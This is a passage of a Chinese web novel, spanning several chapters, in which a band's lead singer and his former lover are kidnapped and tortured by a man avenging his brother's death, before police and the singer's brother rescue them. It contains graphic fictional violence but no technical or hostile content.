尧新雪再一次及时地躲过了挥来的铁棍,攥紧拳头就往钟鸣的脸上砸。 这个拳头的力道非同小可,钟鸣被打得脸侧过一边,啐了口带血的唾沫。然而下一秒,他就狠狠地旋身踢了尧新雪得腰一脚。 空间太小,光线又过暗,尧新雪没来得及躲闪,他被踢到时痛苦得闷哼一声,眼底烧着冰冷的怒意,同样抬起腿重重地踹上对方的胃,同时毫不迟疑地将出拳迅速而重复地砸进钟鸣的眼睛。 趁着钟鸣被踢得喉咙发酸眼冒金星时,尧新雪又猛地扣紧他的脖子将他往墙上撞,此刻他的表情漠然、憎恶,几乎与刚才温柔恬静的样子判若两人。 钟鸣挣扎着从旁边摸回铁棍,在喉咙发出可怕的咔咔声时,艰难地说道:“尧新雪……杀人要偿命的……” “给谁偿命,你,还是梅梢月?”尧新雪冷笑了一下,他感到腰处传来撕心裂肺的痛意,即使痛得脸色惨白,也依然不掩口吻的傲慢轻蔑。 仿佛听到了某个特定的字,钟鸣挣扎的动作忽然变得剧烈起来,黑暗中他的瞳孔颤抖着,饱含着无限的悲伤、无限的欢喜与无限的憎恨。 他的左手颤抖着握紧那根铁棍,在头晕眼花中咬紧牙关,最后用尽了所有力气,抬起左手将铁棍猛地撞向尧新雪的后颈。 尧新雪的手因为疼痛顷刻就松了,他痛得脱力跪在地上,手捂住颈后不断流血的伤口。 尖锐的地方刺穿了他的皮肤,巨大的撞击力几乎将他敲晕,尧新雪死死地捂住伤口,艳红的鲜血流淌在他的指间。 他如同濒死的猫发出了痛苦微弱的呻吟,眼神几近变得怨毒,就在他抬起另外一只手想要摸口袋的手机时,钟鸣就又一次踩上了他的手指。 尧新雪死死地侧头盯着看着钟鸣的鞋踩上自己那双手,眼底的憎恨几乎要溢出来,可他如今已如砧板上的鱼肉,只能任人宰割。 “尧新雪,你站在舞台上的时候会想过,自己会有这样的一天吗?”钟鸣笑了,因为咳血,发出的笑声如同毒蛇的嘶嘶声。 他伪装成了清洁工的样子,甚至还穿着布鞋。 肮脏的、发臭的、沾着各种脏污的鞋底碾踩着尧新雪那只白如玉的手,就在一个小时前,它甚至漂亮干净得勾人遐想,让人想要将全世界最美好的珠宝都为此献上。 尧新雪沙哑的声音响起,他感到自己手指传来的钻心的痛意,可却依然不改口吻,定定地望着自己的手,一字一顿道:“你真恶心。” “对,对,但是你也是。”钟鸣拽着他的衬衫衣领,举着手机打灯,照着尧新雪的脸。 尧新雪极轻、极轻地呼吸着,白色的灯光太过刺眼,逼得他不得不眯了眯眼睛,额角与唇角甚至有刚刚打斗时留下的淤青。 蓝灰色的长发如同藤蔓散落在地上,钟鸣的另一只脚毫不怜惜地踩在上面,扯得尧新雪头生疼。 可即便是这样,尧新雪却也还是温柔地笑着重复了一遍:“你真恶心。” 钟鸣的脸色变得铁青,他被尧新雪揍得鼻青脸肿,从旁边的袋子里拿出胶带缠住了尧新雪的嘴后,又因为怕尧新雪挣扎逃走拿出了一瓶喷雾。 喷雾喷在尧新雪的脸上,他只感到一阵恶心的香气,头晕目眩,哪怕努力咬牙着不愿失去意识,最后却还是晕了过去。 监控录像里,一个衣着整齐,戴着口罩的清洁工推着一辆推车走过,没有人看清他的样子,只知道他在最后消失在了死角处。 第93章 尧新雪做了一个梦。 他梦回到了孤儿院,那会孤儿院的霸凌很严重,孩子们没有自己的名字,全部数字编号作为称呼。 他是唯一一个拥有自己名字的孩子。 那是一个平常的午后,所有孩子都坐在餐厅里吃面前的一碗稀粥,白米漂浮在粥水上,小小的尧新雪坐在最中间,慢慢地一勺一勺送进嘴里。 旁边那些人的面容已经变得模糊不清,他看见几个小孩围上了最前面的那个孩子。 好几双手拉着那个孩子的双手,毫不犹豫地按着他的头按进碗里,男孩尖锐的哭声与求饶声混杂在笑声里,尧新雪盯着那一幕,依然在一勺一勺地喝粥。 有人站到了尧新雪的身后,扣住了他的手:“为什么你吃得下去?” 尧新雪回答道:“我好饿,这碗粥要被端走了。” 有人大声地质问他:“他也会被饿死的。” 尧新雪说:“我不能不去那里,饿肚子是走不动的。” 有人摇着他的肩膀:“你要去哪里?你知道你想去的那个地方有多远吗?” 尧新雪答道:“我知道的,那个地方好远好远,所以我要吃很多很多东西,才能去到那里。” 那个地方有着一切辉煌灿烂的东西,寄托了他的全部念想。 尧新雪开始加快吃的速度,如同一条流浪狗疯狂地吃着,即使这些粥难以下咽,他仿佛幡然醒悟一般,再也没心思抬头看那个哭泣的孩子,只是喃喃重复着刚刚的那句话。 他吃完了自己面前的那碗后,开始抢别人碗里的喝着。 有人追骂他,有人想要将他的碗抢回来,有人踹在了他的身上生疼,有人高喊着他的自私与冷漠。 即使被当成一个脏皮球一样四处踹,尧新雪依然没有放下碗,等到他喝到觉得足够饱了之后,终于头也不回地跑了回去。 小小的尧新雪走在宽大的走廊里,头顶的穹顶犹如无声的凝视,路边紧紧关闭着的房门犹如牢笼的栅栏,他像一只幼小的鸟雀,在这条长廊上仿佛永远奔走却始终无法逃出。 尧新雪的身影被投射在旁边的墙壁上,可随着那个瘦小的身影随着不断的跑动无限拉长,最后在他的身后生成了一头巨大的、纯黑色的羊。 那个瘦小的身影依然在奋力地跑着,那头巨大的黑羊紧紧地追着他。 尧新雪气喘吁吁,他的背沁满了冷汗,圆如葡萄的眼睛充满了焦虑与渴望,最后的最后,那只巨大的黑羊一跃而起,就在下一秒将他猛地一口吞食入腹。 心跳仿佛漏停了一拍,尧新雪的眼睛在那一瞬间毫无预兆地睁开了。 他的呼吸微弱,等眼睛适应眼前的环境前,就已经开始冷静地思考起现如今的处境。 空气中弥漫着血锈的味道,房间安静,几乎听不到任何外界的声音,他的四肢发麻,因为无法动弹,尧新雪意识到自己如今被绑在了一张木椅上,双手被强制捆绑在椅背后,双腿则依着椅腿绑。 这个绳结绑得极紧,如果他剧烈挣扎,很可能会连人带椅子重重摔在地上。 尧新雪低了低头,感觉到脖子上缠着的一圈绷带,即使后颈的位置依然传来难以言喻的疼痛,但已经止血了。 尧新雪冷笑了一下,扯到嘴角时感到撕扯伤口的痛意。 他并不知道自己昏晕了多久,这里四面全黑,根本无法判断时间,尧新雪的脑子飞快地转着,他失踪了多久?钟鸣这么恨他,为什么将他绑在这里还为他处理伤口?外界现在知道自己失踪了吗? 还有,宋燃犀怎么样了?尧新雪的胸口小小地起伏着,因为流血过多,伤口处理得草率,他感到头昏脑涨——他一定是发烧了。 但尧新雪的表情依然镇定,在没有第二人的房间里捋着现况。 第一,失踪多久,未知。 第二,以钟鸣扭曲的性格,一定不会对他手下留情,伤口处理粗糙,只让他不至于流血过多死去,只能是因为想在杀他之前先折磨他,所以留了他一条命。 第三,无论如何,至少尧新橙应该已经发现他的失踪,但他找到钟鸣,应该还需要一段时间。必要时候,尧新橙会为了他选择报警。 而最多四天,钟鸣一定会对尧新雪动手。 第四,宋燃犀作为帮凶之一,一定也会被钟鸣视为头号仇敌。钟鸣被发现只会是时间问题,他时间紧迫,如果想要在被逮捕之前对宋雪进行处刑,那么宋燃犀现在一定也会在这里。 尧新雪必须尽量延迟钟鸣下死刑的时间,同时试着向外界透露自己的位置。 他必须逃出去,他必须活着出去。 尧新雪的目光冷如寒冰,开始尽可能地用感官去寻找有关于环境的线索。 他感到自己浑身冰冷,实则额头的温度已经极高,被死结绑着的手腕早已被勒出血痕,衣衫被撕扯,整个人狼狈不堪。 尧新雪感到喉咙仿佛有一把火在烧,注意力逐渐地涣散,他已经没什么力气,只能垂着头,暂时先闭目养神。 门锁被打开了,重型铁门与钥匙相碰发出清脆的声音,尧新雪无声地睁开了眼睛,他听到脚步声,在心里默数着,一步、两步、三步、四步、五步…… 他现在正待在一个三十六到六十四平方米的房间里。 钟鸣走上前,揪住了尧新雪的头发,逼迫他仰起头看自己。 在幽暗的灯光与疼痛里,尧新雪看到他鼻青脸肿,嗅到他身上雨水的味道。 “尧新雪,不要动歪心思。”钟鸣似乎看穿了他的企图,“没有人能救你。” 尧新雪颤抖着呼吸笑了一下,省力气地“嗯”了一声。 灯光之下,因为生病,他的脸接近绯红,蓝色的长发柔顺如水,额角的伤口已经结痂,嘴角的淤青与仿佛含着水光的眼睛暴露出他的脆弱,让人看到就忍不住感到怜惜。 钟鸣盯着他足足五秒才开口:“你还记得我吗?” 尧新雪没有说话,他不想激怒钟鸣,也不想白费力气。 钟鸣却笑了笑:“你当然不记得我了,我就是个不起眼的小喽喽,从小时候就这样。你知道,你第一次来孤儿院的时候,我们都以为天使是真的,我们艳羡地看着你,因为我们这群乡巴佬从来没见这么好看的小孩。 我们这么蠢,甚至深深信着,你就是我们的救世主。” “他也是,他对你那么崇拜,他那么爱你。他是我的弟弟,我知道他为了讨你的欢心都做了什么,从小到大,都是这样!”钟鸣的眼睛发红,越说越激动,在最后猛地拔高声音,揪着尧新雪的头发,让他发出痛苦的呻.吟。 尧新雪只能偏了偏头,他依然保持着沉默。 钟鸣的声音嘶哑,吼道:“他在那晚给你打电话了,我知道,但是……但是,连他放在床头的药都是你给他买的,全他妈是副作用强的处方药!你是故意的,你害死他了,看看你都做了些什么!!” “……”尧新雪放缓了呼吸,他的额角沁出了冷汗,头昏晕得几乎听不清他在讲什么东西,但因为猜到了大概意思,嘴角微微扬起,“证据呢?” 梅梢月在死前绝望地乱吞了那好几瓶药,痛得求生不得、求死不能,但是那些药是谁给的呢? 除了日夜监视窥探梅梢月的人,恐怕永远只会以为是梅梢月自己买的。 但哪怕钟鸣知道了,又怎么样?只是猜测而已,尧新雪在探望发烧的梅梢月时带来的药装在不透明的袋子里,理所当然,且时隔两个月,除了钟鸣,有谁会怀疑到他身上?更何况大量的药是梅梢月自己选择全部服下的。 钟鸣总归是死无对证。 想到这里,尧新雪的笑带上了些许嘲弄。 钟鸣沉默地看着眼前这个漂亮却又心机深沉、甚至心狠手辣的男人,他在钟鸣面前懒得掩饰自己的恶劣与阴谋,一想到笑得阳光开朗的梅梢月,钟鸣就感到仿佛有一把刀狠狠地剜着自己的心脏。 “你们第一场摇滚比赛,本来应该输的,可第二天,他们的贝斯手就因为吸毒被抓,我知道你也在那个酒店里。” “你们一支毫无根基毫无势力背靠的乐队能拿下指针音乐原定合同三倍的资源,凭什么?” “我的弟弟……段以宿破产,这其中到底有多少你的手笔?”钟鸣咬牙切齿,表情狰狞如同一只野兽,“人人以为你干干净净,背地里却干了不少脏事……呵,尧新雪,你不觉得自己虚伪吗?” 尧新雪将头侧过来,仰起颈,如同一只亟待引颈自戮的天鹅,柔声道:“我一直是这样的。” 钟鸣的牙齿气得颤抖,从裤兜里抽出了一把刀,轻轻地晃了晃:“你为了你自己,毁了多少人?我弟弟……甚至死了!我恨不得把你剁了,可是我不想你死得这么容易。” 他残忍地笑了一下,将刀刃随意地比划着尧新雪的嘴唇:“我想让你生不如死,你不是为了你的乐队做什么都可以吗?那我给你一个选择,是想让我割掉你的舌头,还是废了你的手?” 尧新雪的瞳孔骤缩,眼神几近变得狠毒起来,他紧紧望着钟鸣,嘴唇抿成了一条线。 第94章 钟鸣握着刀,在尧新雪的颈上轻轻地划了一下,他的皮肤太薄了,刀锋碰到,就划破留下了一道血痕。 尧新雪死死地盯着眼前的钟鸣,眼神充满了冰冷的怒意。椅背后深深捆绑着的双手紧紧地相扣着,指甲陷进皮肤,他要用这样的疼痛来努力保持清醒。 钟鸣确实拿准了他最不能失去什么,所以提出了这样恶心的选择。 尧新雪不知道自己已经多久没有进食,多久没有喝水了。他的喉咙在烧,浑身疲软,伤口痛痒,身上过高的体温与发炎的创面让他逐渐失去敏锐的感觉。 钟鸣疯狂地笑着,他望着尧新雪看自己如看死人的表情,笑得手里的刀都在颤抖,最后甚至笑得掉眼泪。 钟鸣笑得大喘气,好不容易缓住说:“你看你的眼神,根本不像个人,反而像一头恶鬼。不过我不会杀你,我不能杀人。但是我会说到做到。” 他用着蛮力,微微弯下腰与尧新雪平视,在尧新雪垂头时,用双手按着他的肩膀逼他抬头:“来吧,快选,我只给你十秒的时间。” “十、九、八、七、六……” 尧新雪沉默不语,他那张漂亮的脸庞沾着血污,闭着眼睛,眉痛苦地蹙起,嘴唇发白。 即使沦落到这步田地,尧新雪依然那么美,只是这轮美好的月亮没有高高悬在天上,而是被映落到了污水里。 三、二、一。 钟鸣猛地抬起自己握刀的手,另一只手捏住尧新雪脸颊的两侧,逼他将脸转过来,强迫他张开嘴。钟鸣在话音落下时将那把刀毫不犹豫地捅了过去,雪亮的刀一瞬间映亮尧新雪的眼睛。 就在那千钧一发之际,就在刀锋即将真的准备捅进他的唇舌时,尧新雪哑声道:“手。” 他在最后那半秒里做出了选择,钟鸣的手也在那半秒里停在了半空。 因为动作极快,刀刃在停下时不可避免地偏了一下,尧新雪感到刀尖划破了自己的侧脸,血珠沿着他的脸庞缓缓地滑落,流下一道极细的痕迹。 尧新雪浑身的肌肉紧绷,他的呼吸甚至微微颤抖——钟鸣刚才是认真的,他真的想割了自己的舌头。 几秒之后,尧新雪终于开口说话了,他的声音低哑,微弱得甚至听不清:“我很抱歉。” 他聪明地没有为自己辩解,只是诚恳地道歉,因为越辩解,只会让钟鸣越应激。 钟鸣看着尧新雪那双平静的眼睛,他奄奄一息,连声音都变形,语气却是柔软的,仿佛带着浓浓的忏悔意味。 看起来真可怜,如同掉进了陷阱的狐狸。 尧新雪浑身伤痕累累,神情疲惫,只是短短几秒内,他就妥协了,把自己摆在了一个了卑微的位置。 钟鸣原本最恨尧新雪凡事都表现轻松的样子,尧新雪越是倔强,越是冷静,越是无所谓,就越容易引起他的忿恨,他会想起他的梅梢月,他会控制不住想,为什么尧新雪不能代替梅梢月去死? 钟鸣听到尧新雪的声音,唇紧绷地抿成了一条线,他过热的脑子终于缓缓地平静了下来,注视着尧新雪,看着尧新雪血迹斑斑的颈与灰扑扑的衣服。 尧新雪咳嗽了两下,然后努力抬起头和钟鸣对视,艰难地重复了一遍:“我很抱歉。” 钟鸣看了他一会,又露出了笑,他俯下身贴着尧新雪的耳朵说:“真好,你终于道歉了。”他抱住了尧新雪的脑袋,有些神经质般温柔道,“那好,我再给你一个机会,我也想让你好好地走出去。警察已经快追到我了,很快,你就能走了。” 还没有等尧新雪做反应,他就从旁边拿出了黑色的胶布。 在他准备封住尧新雪的嘴时,兜里的手机开始疯狂震动。 嗡嗡声在整个空旷的房间里显得格外清晰,钟鸣抬眼看了一眼尧新雪,尧新雪只紧紧闭着眼睛,不作任何反应。 钟鸣接通了电话:“谁?” “小钟啊!是不是家里出什么事了,我们领导听到你突然辞职可着急了!想问问你是不是出了急事,公司的大伙都关心着你呢,薪资啥的都能商量……”电话对面传来中年男人热心的声音。 钟鸣谨慎地看了一眼来电的号码,嘴角挑起一抹冷笑。 尧新雪在这时仿佛无可忍耐般轻轻地咳嗽起来,他气若游丝地喃喃道:“好冷……”他浑身脱力,微微颤抖,捆绑在背后的手指无意间碰到了手腕上的银链与腕带,腕带金属的扣子与银链相碰发出微弱的声响。 钟鸣毫不犹豫地挂断了电话,并且拔出了手机卡,将那张卡掰断。 他看着尧新雪,尧新雪依然低着头闭着眼,仿佛什么都没做。 钟鸣也没有说话,只是用黑胶布粗暴地封住了尧新雪的嘴,然后快步地离开。 尧新雪睁开眼睛,看着钟鸣匆匆地轰然将大门关闭。 只过了五分钟,门又打开了,尧新雪看到钟鸣推着一个人,那人不得不一瘸一拐地慢慢走进来。 那人同样狼狈不堪,眼上蒙着一条黑布,看着脸上身上的血污,就知道他的伤比尧新雪的重多了。 那人走路像是实在是痛极了,走了几步就气喘吁吁,滴下冷汗。 尧新雪看着他被赶到自己面前,最后脱力扑通一下跪了下来。 ——宋燃犀。 宋燃犀此刻脸色苍白,嘴唇几乎失去血色,他痛得闷哼一声,即使看不见,却因为嗅到熟悉的香根草气息心头一颤。 他颤抖着声音说:“尧新雪?尧新雪?是你吗?” 他的双手被牢牢捆着,努力地用膝盖往前爬,在意识到尧新雪也在这里的那一刻心几乎悬到了嗓子眼,他的声音沙哑,不断重复道:“是你吗?尧新雪,尧新雪,快回答我……” 宋燃犀一开始只以为是自己哪门子的仇家,只在绑匪的言语间听出来了这人和自己收购指针音乐有关,他想过自己也许死在这里,却绝对不会想到,尧新雪竟然也在这里。 宋燃犀的脸色唰地变得惨白,听到钟鸣在身后的笑声。 他笑得不停:“宋燃犀,你看看你现在什么样子,他在你心里很重要吗?” 宋燃犀的眉眼焦虑,他不懈地以这样蠕动的方式向尧新雪靠近着,对钟鸣的话置若罔闻,不断地叫着:“尧新雪,你应一下,你别吓我,别不理我,尧新雪,……” 就在他即将要碰到尧新雪时,钟鸣猛地踹了一脚他的小腹,将他踹出半米远,宋燃犀的脸色惨白,痛得几乎要蜷缩起来。 宋燃犀吃痛地“啊”了一声,重重地喘气,动作甚至扯到了伤口。 殷红的血又一次渗出,染红了他的背,宋燃犀痛得几乎抽搐起来。 但他依然不依不饶地说:“你想要什么我都给你,你放他走,他是无辜的……” 钟鸣的表情阴沉,他俯下身拽着宋燃犀的衣领,咬牙切齿:“他不是无辜的,你也不是无辜的,你们都害死了我的弟弟。” 宋燃犀在那一刻终于知道了自己被绑架的原因,凶手将梅梢月的死怪罪在了他们的头上。 但是宋燃犀顾不了那么多了,他努力冷静下来,组织着措辞,他在以为这是单纯的只关于自己的绑架时想好了自己的死。 宋燃犀不在乎自己的命,所以从被绑到现在都没有安分过,可是现在尧新雪在这里。 宋燃犀仰着头,朝着钟鸣的方向说:“所有的事都是我做的,是我自己做的,你想我偿命,想要多少钱,都可以。求你你不要伤害他,都是我的错,我求你,我求你放过他吧……” 尧新雪看着这一幕,因为被封住了嘴,无法发出一点声音。 没有人知道他在此刻想着什么。 宋燃犀这么骄傲的一个人,有一天居然会低声下气地求人。他好好的时候张口就是“尧新雪,我恨你”,此刻却为了尧新雪能活着,姿态卑微至此。 他把什么都抛下了,尊严、金钱、生命,乃至一切他付得起的东西,都毫不犹豫地许诺给了钟鸣,只为了尧新雪能活着离开这里。 “好,我可以放过他,但是取决于你。”钟鸣笑了下,他粗暴地拽着宋燃犀,将他拖回到了尧新雪的面前,扯掉了宋燃犀眼上的黑布。 宋燃犀看到尧新雪被捆绑在一张木椅上,颈间缠着身有血迹的绷带,浑身血污,脸庞绯红,双眼朦胧,呼吸微弱。 两人近在咫尺,宋燃犀的心却紧紧地揪着。 钟鸣看着两人无声地对望,对宋燃犀说:“你们本来都应该替我弟弟偿命,但是我不想杀人,所以给你选择的机会。尧新雪在自己的舌头和手里选择不要自己的手,那我现在问你,是要保住他的这只手,还是救救你那个妈妈?” 宋燃犀的脸色顷刻间变得煞白,看着钟鸣拿出一个平板,平板上的人是应怜,她同样被绑在一张木椅上,嘴被封住,和尧新雪的区别只在于她身上绑着一个定时炸弹。 炸弹的倒计时在钟鸣话音落下的那一刻开始,应怜听到声音,开始害怕恐惧地颤抖,她望着摄像头,眼眶里盈满了泪水。 宋燃犀仿佛被冻在了原地,他听到钟鸣重复道:“你想要救尧新雪,还是救你的妈妈?” 第95章 宋燃犀的脑子一下子嗡地一声,仿佛有什么炸开了,他的心脏抽痛,浑身冰凉,盯着屏幕上的应怜不说话。 他咽了下唾沫,然后抬起头看尧新雪,尧新雪已是奄奄一息的样子。 他受伤了,还发烧了。宋燃犀先是冒出来这样一个念头。 尧新雪被捆绑在那张木椅上,脸色惨白,仿佛下一秒就要昏晕过去。他只是安静地看着宋燃犀,仿佛知道着宋燃犀会做出什么样的选择。 宋燃犀一瞬间几乎听不到尧新雪的呼吸声,只有自己的心脏仿佛要震跳得撞出胸口。那天车祸的剧痛随着心理的压力席卷而来,他的四肢百骸都在发麻,都在抽痛。 他在过去这样向往着能够从尧新雪的手里抢回两人关系的主导权,最后却只心甘情愿地低下了头,任尧新雪将项圈套进他的脖子。 如今竟然,以这种方式得到了对尧新雪生杀予夺的权利,却是以自己唯一的血亲作为代价。 宋燃犀感到命运布下的天罗地网,他感到可恨又可笑。 应怜身上的倒计时依然在不断地减少,三分钟已然随着他的沉默锐减到两分钟,宋燃犀死死盯着那一幕,最后终于开口:“你砍掉我的手,砍掉我的脚,你杀了我,我来给梅梢月偿命,好吗?” 他声音始终在颤抖,语气竟然变成了恳求,他挪着膝盖,仰头眼巴巴地望着钟鸣:“我求你,我求你,我给你千刀万剐,放过他们好吗?” 宋燃犀的尊严终于被彻底碾在了泥里,钟鸣看着他这副样子心里感到难以言喻的痛快。 惨白的灯光照落下来,尧新雪的眼神晦暗不明。 钟鸣笑了一阵后,又猛地将宋燃犀踹倒在地:“你没有时间了,我只给了你两个选择。” 宋燃犀重重地摔在地上,咳出了几口血。 他感到无穷尽的疲惫,看着眼前同样被牢牢捆绑住的两个人,几乎快流下泪水。 这是一个无解的死局,无论牺牲了谁,宋燃犀都会后悔终生。 想要毁了尧新雪,无非就是毁掉他的嗓子或是他的手。毁掉他的嗓子会让他再也唱不了歌,毁掉他手会让他再也谈不了琴。 尧新雪那么好,唱的歌这么好听,会演奏这么多种乐器。他凭借着这两样东西才让他的乐队走到现在这个位置。 宋燃犀是世界上唯一能够理解,乐队于尧新雪而言是什么样的东西,他也是世界上唯一一个知道,尧新雪为此付出了什么的人。 毁掉尧新雪的手,和杀了尧新雪有什么区别? 而应怜,却是他的母亲,他在这个世界上唯一的亲人。车祸之后,宋燃犀向宋洲的墓碑发过誓,要保护好应怜,哪怕是付出自己的生命。 他恨不得为这两个人去死,此刻却要他来决定这两个人谁去死。 宋燃犀的泪水已经流满了脸庞,他在这一刻想起了多年前自己对尧新雪说的话。 那时他们挤在狭小的窗台上,喝着啤酒庆祝黑羊在比赛上的胜利,宋燃犀看着尧新雪,笑着对他说:“尧新雪,你不要掉下去。” 他不知道正是从这句话开始,他这个人就被尧新雪视为了私有品,他成为了对于尧新雪来说必须完全占有的存在。 他只知道,在多年以后,这句自己无意间说的这句话会一语成谶,仿佛一句诅咒,让他成为了那个将尧新雪拉下神坛的真凶。 应怜身上的炸弹依然走进了一分钟倒计时,宋燃犀的泪水已经模糊了他的眼睛,他感到呼吸困难,依然在苦苦地哀求着钟鸣:“求求你,求求你,杀了我吧……” 钟鸣冷冷看着他,低头看了一眼应怜身上炸弹的时间:“你还有40秒的时间。” 尧新雪的眼底没有任何情绪,仿佛他不是作为被交换的筹码。他在这一刻垂下眸,不再看宋燃犀,像是极轻地叹了口气。 时间锐减到了二十秒。 屏幕上的应怜无声地流着眼泪,她像是被抽掉了一半生命力,无力地垂着头,只敢紧紧地闭上双眼。 她的前半生充满了幸福与美好,中年却遇到儿子重病,丈夫横死,如今再命悬一线,仿佛前半生所有的快乐都只是大梦一场。 十、九、八、七。 宋燃犀的嘴唇紧紧闭着,他看着屏幕上的应怜,呼吸不畅。 在这个空旷的房间里,没有一个人能救得了他。 六、五、四、三…… 就在那最后两个数字即将跳下时,宋燃犀闭上了眼睛,他绝望而崩溃,沙哑地喊道:“求你,救我妈妈。” 仿佛一道巨锤重重地砸在了他的心脏上,他的身体轰然一震,哪怕看到应怜身上的倒计时已经停止,他也没有感到任何轻松。 尧新雪也在那一刻睁开了眼睛,他的眼神既没有失望,也没有愤怒,只是很平静。 可宋燃犀被这样的眼神深深地刺痛着,他用尽力气,从地上努力地爬起来,哪怕身上有着撕裂般的疼痛,他也依然挡在了尧新雪的面前。 尧新雪冷眼看着他的背影。 在宋燃犀车祸后喊着要和他分道扬镳时,尧新雪感到了前所未有的恼怒,因为他认为这是宋燃犀的背叛。 他感到了原本应该紧攥在自己手里的东西开始失控,因此用尽方式收紧勒在宋燃犀脖子上的绳索。他要宋燃犀出走后心甘情愿地回来,要宋燃犀完完全全属于自己。 如今,宋燃犀又一次背叛了他。 尧新雪感到浓烈的厌倦与憎恨,他恨不得在这一刻就报复宋燃犀,告诫他背叛的代价。这个选择之后,无论他的手废了与否,在尧新雪的心里,宋燃犀都永远存在着过错——因为他曾经两次背叛了尧新雪。 宋燃犀挡在尧新雪的面前,望着钟鸣,卑微地恳求道:“不要伤害他,我求你……” 钟鸣毫不犹豫地一拳揍向了宋燃犀的脸,宋燃犀踉跄着摔倒在地,却又很快地爬起来,用自己的身体挡着尧新雪。 尧新雪嗅到他身上浓重的血腥味,听到他的惨叫,可是眼底没有一丝动摇。 在宋燃犀真的再也无力站起之后,钟鸣终于从旁边拿出了一支针剂。 他推了一下针管,看着针尖的位置流出些许药水,看着尧新雪皮笑肉不笑:“你看到了,你是他放弃的那一个,而且,是你自己选中你的手的。” “这支药叫阿西康宁,它的毒性很强,打进你的手相当于被一条银环蛇咬伤,你会先感到手臂麻木,然后神志不清,整条手臂会在一个小时后肿起,最后局部神经全部坏死……”钟鸣慢慢道,他再一次踹上想要再扑上来的宋燃犀,然后走近尧新雪。 他看着尧新雪平静的面容,慢慢说:“我在孤儿院一直是被欺负的那个孩子,有一天我的头被按进水池,是梢月救了我。但是,他也因此成为了被那些欺凌者关注的对象,后来他代替了我,我却不敢出声。” “我的弟弟,我这个温柔又善良的弟弟,因为你们死了。他甚至只有二十几岁,还这么年轻。” 钟鸣将针头找准了尧新雪的静脉顶了进去,露出残忍的笑:“你们两个不得好死,你们两个死有余辜。” 宋燃犀因为他的踢踹呕出一口血,他浑身的骨头仿佛都断了,可当通红的、布满血丝的眼睛看到这一幕,依然咬着牙,忍着撕裂的疼痛试着爬起来。 就在远处,警笛的声音已经鸣响,喇叭的声音透过玻璃窗传来:“钟鸣,停手!你现在停手还来得及!!” 尧新雪的意识已经模糊,他的呼吸微弱,高烧烧得他头晕眼花,哪怕感觉到手臂传来刺痛,依然一动不动。 宋燃犀已流了满头的血,他哭叫着,一次又一次地想要爬向尧新雪,哪怕身下已经淌出了蜿蜒的血迹,哪怕尧新雪已经毫无回应,他依然哭喊着:“尧新雪,对不起……对不起……” 钟鸣却异常地镇定,他的手指开始推动针管,针管内的药水逐渐地注入进尧新雪的右手,仿佛在完成什么仪式。 铁门被轰地撞开了,钟鸣甚至来不及回头,就被尧新橙一拳抡倒在了地上,他的眼睛通红,在打断钟鸣后扑到了尧新雪的身上。 “哥哥……我来了……我来了……”尧新橙看着尧新雪的样子,心几乎痛得能掐出血,他迅速地解开绑着尧新雪的绳结,最后小心翼翼地将几近昏迷的尧新雪抱了起来。 尧新雪半睁着眼,在看清他的面容后,哑声道:“我的手……” 尧新橙的呼吸颤抖,抱着尧新雪大步就准备往外走,他小声安慰道:“我知道……我看到了,没事的,没事的。” 宋燃犀在持续的耳鸣中也听到了尧新橙的声音,血已染得他看不清眼前的事物,他的呼吸微弱,依然在不依不饶地叫着:“尧新雪,对不起。” 尧新橙冷冷地看了他一眼,最后看到他要走近时毫不犹豫地扇了他一巴掌,宋燃犀直接被抽倒在了地上,张口呕了血。 警察很快也跟了进来,为首的人正是迟天境。 他看到尧新橙怀里血迹斑斑的尧新雪,眉头紧紧皱起,刚想说话,尧新橙却冷着脸头也不回地抱着尧新雪跑出了这里。 第96章 尧新雪整个人仿佛被撕扯成了两半,一半浸在冰冷的海水里汗毛竖起,一半被扔到了大火里被烈焰炙烤,在这又冷又热的漫长折磨里,头痛欲裂。 他在医院整整昏睡了三天三夜后终于醒了过来,他感到喉咙的干渴与腥甜,艰难地挑开眼皮,最后感受到的是浑身骨头传来的痛意与……无法抬动的右手。 尧新雪的唇线抿了抿。 他的眼神很空,睡在他手侧的尧新橙却若有所感地同时睁开眼睛,望向了他。 尧新橙猛地坐直身,眼底流露出欣喜和无措:“哥哥,你,醒了。太好了……” 尧新雪无法发出声音,他稍稍侧了侧头,看向了尧新橙。 尧新橙于是去倒了一杯温水,轻轻地递到他的唇沿去喂他。 尧新橙低声说:“还好,没有伤到,骨头,大部分是,皮外伤,你刚退烧,绑架的消息,也已经被,我封锁了。” 尧新雪的眼神闪过一丝厌倦,他的声音嘶哑,几乎让人听不清楚,他只说了一个字,却让尧新橙的脸色一变。 尧新雪说:“手。” 尧新橙的表情一瞬变得狰狞与扭曲,看着尧新雪的眼睛,却顺从地低下头诚实道:“目前,只能用,一些药物,克制毒素,蔓延,暂时不能,根治。” 尧新橙在知道这个结果之后烦躁、焦虑得团团转,他恨不得去警察局活剖了钟鸣,甚至如果他来晚一步,这支药就会全部打进尧新雪的手臂,后果更将不可设想……仅仅是想到这一层,尧新橙就脸色惨白。 尧新雪却始终面容平静,他有些疲惫地闭上了眼。 尧新橙也不再说话,保持了安静。 他注视着尧新雪瘦削的脸庞,此刻尧新雪正躺在病床上,颈上缠着一圈干净的绷带,嘴唇失去了原本红润的颜色,右手更是缠着一层又一层纱布,看上去既羸弱又脆弱。 回来的这些天里,尧新雪始终高烧不退,他瘦了将近十斤,医生和护士换了好几轮,只有尧新橙始终守在他的身侧,寸步不离。 尧新橙从来没有见过这样的尧新雪,他的目光心疼且眷恋地落在尧新雪的身上。 在他的印象里,尧新雪仿佛永远是完美的。尧新雪好像从来不会在尧新橙的面前流露过脆弱的、需要依赖的一面。 尧新橙见证过尧新雪的很多样子,他是乐队的领袖,在队员面前雷厉风行,是完美的主唱,在乐迷面前温柔善良,是温柔的哥哥,在可以信赖的自己面前露出狡黠、幼稚、可以称得上可爱的一面,同时也不屑于掩饰他的不择手段,他的勃勃野心。 就是这样的一个人,如今却是这样一碰即碎,苍白如纸的样子,尧新橙感到剧烈的难过,甚至是难以言喻的心痛。 钟鸣把一切都毁了,宋燃犀把一切都毁了。 他们把尧新橙最爱的、最爱的尧新雪毁了。 尧新橙的眼神狠戾。 尧新雪闭着眼睛,他在试图适应着身体这样无休止般的疼痛,他的右手疼得发抖,额头沁着冷汗。 他的忍痛能力总是超于常人,他在过去同样承受过这漫长的、痛苦的折磨,因此一声不吭。 没有人发现,甚至连尧新橙、宋燃犀都不知道,剖开尧新雪美丽的完美的外壳,剖开那颗填满了野望、虚伪、充满了谎言、半真半假的心,最后其实是如玉石般坚硬的内里。 